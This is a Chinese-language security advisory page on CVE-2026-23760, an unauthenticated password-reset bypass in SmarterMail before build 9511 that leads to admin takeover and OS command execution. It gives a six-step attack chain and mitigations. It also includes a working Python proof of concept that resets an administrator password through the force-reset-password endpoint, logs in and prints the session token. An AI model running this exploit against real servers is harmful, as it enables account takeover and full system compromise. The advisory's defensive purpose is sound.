IPBUF安全漏洞报告
English
CVE-2026-23760 CVSS 9.8 严重

CVE-2026-23760 SmarterTools SmarterMail 密码重置API认证绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23760
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SmarterTools SmarterMail

相关标签

CVE-2026-23760认证绕过SmarterToolsSmarterMail密码重置远程代码执行权限提升身份验证绕过关键漏洞CVSS 9.8

漏洞概述

CVE-2026-23760是SmarterTools SmarterMail电子邮件服务器软件中的一个严重认证绕过漏洞。该漏洞存在于密码重置API的force-reset-password端点,在build 9511之前的版本中均受影响。攻击者可无需任何身份认证即可调用该端点,通过提供目标管理员用户名和新密码即可重置任意系统管理员账户密码。由于SmarterMail系统管理员权限允许通过内置管理功能执行操作系统命令,成功利用此漏洞将导致攻击者获得目标服务器的系统级(SYSTEM或root)完全控制权。此漏洞CVSS评分高达9.8,属于严重级别,对互联网暴露的SmarterMail实例构成重大威胁。建议受影响的用户立即升级到build 9511或更高版本,并检查日志是否存在异常的管理员密码重置行为。

技术细节

该漏洞存在于SmarterTools SmarterMail的AuthenticationService.forceResetPassword方法中。具体问题在于force-reset-password API端点缺少必要的身份验证检查,允许匿名用户直接调用密码重置功能。攻击者只需构造HTTP请求,指定目标管理员用户名和期望的新密码,即可绕过所有安全验证机制完成密码重置。漏洞代码未验证请求者是否已登录、未验证密码重置令牌的有效性、也未验证当前密码。成功重置管理员密码后,攻击者获得完整的管理后台访问权限。由于SmarterMail管理界面提供服务器命令执行功能,攻击者可进一步获取宿主机的操作系统命令执行权限,在Windows系统获得SYSTEM权限,在Linux系统获得root权限。整个攻击过程无需任何前置条件,对互联网开放的管理界面均可被利用。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标SmarterMail服务器版本,确认版本低于build 9511
STEP 2
步骤2: 构造恶意请求
构造针对force-reset-password端点的HTTP POST请求,包含目标管理员用户名和自定义新密码
STEP 3
步骤3: 发送漏洞利用请求
发送匿名请求到/api/v1/authentication/force-reset-password端点,无需任何认证信息
STEP 4
步骤4: 验证密码重置成功
服务器返回200 OK,管理员密码已被成功重置为攻击者指定的密码
STEP 5
步骤5: 登录管理后台
使用新密码登录SmarterMail管理控制台,获取管理员会话令牌
STEP 6
步骤6: 执行系统命令
利用管理后台的命令执行功能,在底层操作系统上执行任意命令,获得SYSTEM或root权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = "http://target-server.com" admin_username = "admin" new_password = "P@ssw0rd123!" # Force reset administrator password via unauthenticated API call endpoint = f"{target}/api/v1/authentication/force-reset-password" payload = { "username": admin_username, "newPassword": new_password } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.post(endpoint, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Verify login with new password if response.status_code == 200: login_endpoint = f"{target}/api/v1/authentication/login" login_data = { "username": admin_username, "password": new_password } login_response = requests.post(login_endpoint, json=login_data, headers=headers) print(f"Login Status: {login_response.status_code}") if login_response.status_code == 200: print("[+] Successfully gained administrator access!") token = login_response.json().get("token") print(f"Auth Token: {token}")

影响范围

SmarterTools SmarterMail < build 9511

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 使用网络层访问控制限制管理API的访问来源;2) 在Web应用防火墙中规则阻断对force-reset-password端点的访问;3) 监控并告警所有对密码重置API的请求;4) 临时禁用管理界面的命令执行功能;5) 考虑部署蜜罐管理员账户以检测攻击行为。同时建议检查是否有异常的管理员登录记录和密码修改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表